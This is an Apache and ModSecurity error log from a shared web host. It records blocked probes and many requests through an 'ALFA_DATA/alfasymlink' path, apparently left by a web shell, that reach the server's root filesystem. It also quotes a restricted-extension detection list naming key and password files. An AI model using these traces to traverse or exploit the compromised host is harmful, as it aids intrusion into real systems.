[Sun Oct 25 12:50:08.626055 2026] [security2:error] [pid 2862806:tid 2862806] [client 185.191.171.10:64566] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/balanced/tuned.conf"] [unique_id "at4zQBKqFxYAd_HiRLeliAAAABQ"]
[Sun Oct 25 12:50:11.710072 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 44.212.145.46:13651] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:50:18.613404 2026] [security2:error] [pid 2858941:tid 2858941] [client 43.153.47.201:40796] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at4zSmu-o0KBJy2cxdBIywAAAAM"]
[Sun Oct 25 12:50:18.614350 2026] [authz_core:error] [pid 2858941:tid 2858941] [client 43.153.47.201:40796] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 12:50:19.745436 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 54.210.155.69:3340] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:50:22.026980 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 185.191.171.5:28884] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:50:24.399250 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 34.196.114.170:19586] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:50:31.624163 2026] [core:error] [pid 2862845:tid 2862845] (13)Permission denied: [client 54.83.56.1:11962] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/memory11/subsystem/uevent
[Sun Oct 25 12:50:39.598169 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 52.203.237.170:56101] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:50:43.682033 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 98.83.226.125:13119] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:50:47.742495 2026] [core:error] [pid 2862871:tid 2862871] (13)Permission denied: [client 52.1.106.130:58007] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/driver/0000:00:02.0/resource0
[Sun Oct 25 12:50:51.808799 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 52.3.26.180:56987] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:50:55.730465 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 23.23.180.225:2083] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:50:57.242638 2026] [core:error] [pid 2862845:tid 2862845] (13)Permission denied: [client 85.208.96.200:40336] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-64/slabs_cpu_partial
[Sun Oct 25 12:51:04.357215 2026] [authz_core:error] [pid 2862871:tid 2862871] [client 92.58.194.164:41334] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 12:51:07.564159 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 3.216.13.10:32823] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:51:11.857524 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 52.71.216.196:46455] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:51:23.546551 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 3.227.180.70:17827] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:51:29.130587 2026] [core:error] [pid 2862820:tid 2862820] (13)Permission denied: [client 185.191.171.11:32582] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_transaction_s/objects_partial
[Sun Oct 25 12:51:35.723123 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 34.192.125.239:33584] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:51:39.785413 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 44.195.145.102:53601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:51:43.571906 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 3.215.59.93:9504] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:51:47.656616 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 44.223.116.180:64070] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:51:49.449703 2026] [core:error] [pid 2862845:tid 2862845] (13)Permission denied: [client 85.208.96.194:44134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pool_workqueue/slabs
[Sun Oct 25 12:51:51.560633 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 34.194.226.74:20028] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:51:55.628617 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 44.213.36.21:7233] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:52:05.254710 2026] [core:error] [pid 2862875:tid 2862875] (13)Permission denied: [client 16.216.88.157:61440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sbin/unix_update
[Sun Oct 25 12:52:19.589814 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 3.221.156.96:37674] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:52:23.722609 2026] [core:error] [pid 2862865:tid 2862865] (13)Permission denied: [client 100.25.120.246:59811] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0B00:00/physical_node/driver/unbind
[Sun Oct 25 12:52:27.705905 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 3.220.148.166:43485] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:52:51.646311 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 44.195.50.71:5253] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:52:55.850196 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 44.221.227.90:31341] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:53:35.771813 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 100.29.160.53:27201] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:53:39.879544 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 3.94.157.25:38294] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:53:51.728759 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 34.194.14.255:44860] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:54:03.316559 2026] [core:error] [pid 2862845:tid 2862845] (13)Permission denied: [client 16.216.88.252:36864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/server.digitalmailmx.com.db
[Sun Oct 25 12:54:04.027607 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 23.21.148.226:45416] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:54:07.764012 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 23.21.148.226:31297] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:54:15.849428 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 34.196.114.170:56380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:54:19.730418 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 52.204.174.139:21137] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:54:27.863386 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 34.206.249.188:42782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/resource1
[Sun Oct 25 12:54:39.766952 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 54.85.109.140:55408] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:54:41.356382 2026] [security2:error] [pid 2862822:tid 2862822] [client 67.219.16.64:61742] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/error.log"] [unique_id "at40UcsxP9Gbm0IYLGL8fQAAACI"]
[Sun Oct 25 12:54:41.356765 2026] [security2:error] [pid 2862822:tid 2862822] [client 67.219.16.64:61742] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/error.log"] [unique_id "at40UcsxP9Gbm0IYLGL8fQAAACI"]
[Sun Oct 25 12:54:41.357627 2026] [security2:error] [pid 2862822:tid 2862822] [client 67.219.16.64:61742] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at40UcsxP9Gbm0IYLGL8fQAAACI"]
[Sun Oct 25 12:54:47.723112 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 3.93.253.174:23347] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:54:51.696624 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.164.106.236:5508] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:54:55.818341 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 54.235.158.162:5748] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:55:03.777537 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 52.207.47.227:4758] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:55:07.937267 2026] [ssl:error] [pid 2862845:tid 2862845] (5)Input/output error: [client 98.82.214.73:65478] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:55:11.938052 2026] [ssl:error] [pid 2858941:tid 2858941] (5)Input/output error: [client 52.70.209.13:32778] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:55:15.912176 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 44.212.145.46:62366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:55:27.807586 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 52.6.97.88:57068] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:55:37.730844 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 85.208.96.207:25110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:55:47.811653 2026] [core:error] [pid 2862875:tid 2862875] (13)Permission denied: [client 54.243.63.52:34636] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node1/subsystem/drivers/serio_raw/bind
[Sun Oct 25 12:55:50.530075 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 85.208.96.195:25958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:55:55.880658 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 50.19.79.213:19236] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:56:04.152684 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 3.221.244.28:47314] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:56:10.587299 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 185.191.171.13:41216] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/objects_partial
[Sun Oct 25 12:56:11.731598 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 23.20.178.124:4683] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:56:15.739466 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 18.215.77.19:46487] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:56:27.772814 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 54.85.126.86:60987] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:56:39.863974 2026] [core:error] [pid 2862875:tid 2862875] (13)Permission denied: [client 23.21.119.232:51105] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/piix4_smbus/module/uevent
[Sun Oct 25 12:56:43.756452 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 44.214.19.8:63322] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:56:49.777093 2026] [authz_core:error] [pid 2862806:tid 2862806] [client 66.240.192.82:51219] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 12:56:55.947265 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 3.224.215.150:7031] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:56:59.909270 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.209.100.30:22219] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:57:11.756587 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 184.73.68.20:15640] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:57:27.797105 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 100.29.63.24:17142] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:57:31.836823 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 44.209.35.147:17007] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:57:35.780844 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 50.16.72.185:61644] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:57:43.804251 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 23.23.214.190:25116] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:57:48.211495 2026] [core:crit] [pid 2862845:tid 2862845] (13)Permission denied: [client 139.162.88.198:55722] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 12:57:51.688850 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 54.163.169.168:35249] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:58:19.625409 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 34.227.156.153:54615] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:58:24.322071 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 185.191.171.12:43150] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:58:31.582180 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 35.173.18.61:50280] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:58:35.540821 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 54.166.126.132:5134] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:58:55.504270 2026] [ssl:error] [pid 2862845:tid 2862845] (70014)End of file found: [client 52.0.105.244:2600] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:58:57.152410 2026] [core:error] [pid 2858941:tid 2858941] (13)Permission denied: [client 185.191.171.3:55062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ib_core/sections/__tracepoints_ptrs
[Sun Oct 25 12:58:59.162811 2026] [core:error] [pid 2862871:tid 2862871] (13)Permission denied: [client 85.208.96.194:51268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/cpu_partial
[Sun Oct 25 12:59:07.485356 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 52.5.242.243:37661] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:59:23.358115 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 18.213.70.100:23769] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:59:27.370810 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.225.81.20:9184] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:59:35.891857 2026] [core:error] [pid 2862865:tid 2862865] (13)Permission denied: [client 52.1.106.130:6742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/rescan
[Sun Oct 25 12:59:51.355649 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 52.203.152.231:64060] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:59:59.802780 2026] [authz_core:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 12:59:59.903511 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at41jphqgnbPQM86Wt8CawAAAEc"]
[Sun Oct 25 12:59:59.903568 2026] [security2:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at41jphqgnbPQM86Wt8CawAAAEc"]
[Sun Oct 25 13:00:02.284361 2026] [authz_core:error] [pid 2862875:tid 2862875] [client 34.146.223.226:42450] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 13:00:02.724114 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at41kssxP9Gbm0IYLGL8iAAAACI"]
[Sun Oct 25 13:00:02.724488 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at41kssxP9Gbm0IYLGL8iAAAACI"]
[Sun Oct 25 13:00:02.724835 2026] [security2:error] [pid 2862822:tid 2862822] [client 34.146.223.226:42484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at41kssxP9Gbm0IYLGL8iAAAACI"]
[Sun Oct 25 13:00:02.832926 2026] [security2:error] [pid 2862871:tid 2862871] [client 34.146.223.226:42462] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at41kvb_OFedQ1aCOvBnUQAAAEM"]
[Sun Oct 25 13:00:02.833397 2026] [security2:error] [pid 2862871:tid 2862871] [client 34.146.223.226:42462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at41kvb_OFedQ1aCOvBnUQAAAEM"]
[Sun Oct 25 13:00:02.833782 2026] [security2:error] [pid 2862871:tid 2862871] [client 34.146.223.226:42462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at41kvb_OFedQ1aCOvBnUQAAAEM"]
[Sun Oct 25 13:00:03.035396 2026] [authz_core:error] [pid 2862816:tid 2862816] [client 34.146.223.226:42496] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 13:00:03.050578 2026] [security2:error] [pid 2862871:tid 2862871] [client 34.146.223.226:42462] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at41k_b_OFedQ1aCOvBnUgAAAEM"]
[Sun Oct 25 13:00:03.051079 2026] [security2:error] [pid 2862871:tid 2862871] [client 34.146.223.226:42462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at41k_b_OFedQ1aCOvBnUgAAAEM"]
[Sun Oct 25 13:00:03.051459 2026] [security2:error] [pid 2862871:tid 2862871] [client 34.146.223.226:42462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at41k_b_OFedQ1aCOvBnUgAAAEM"]
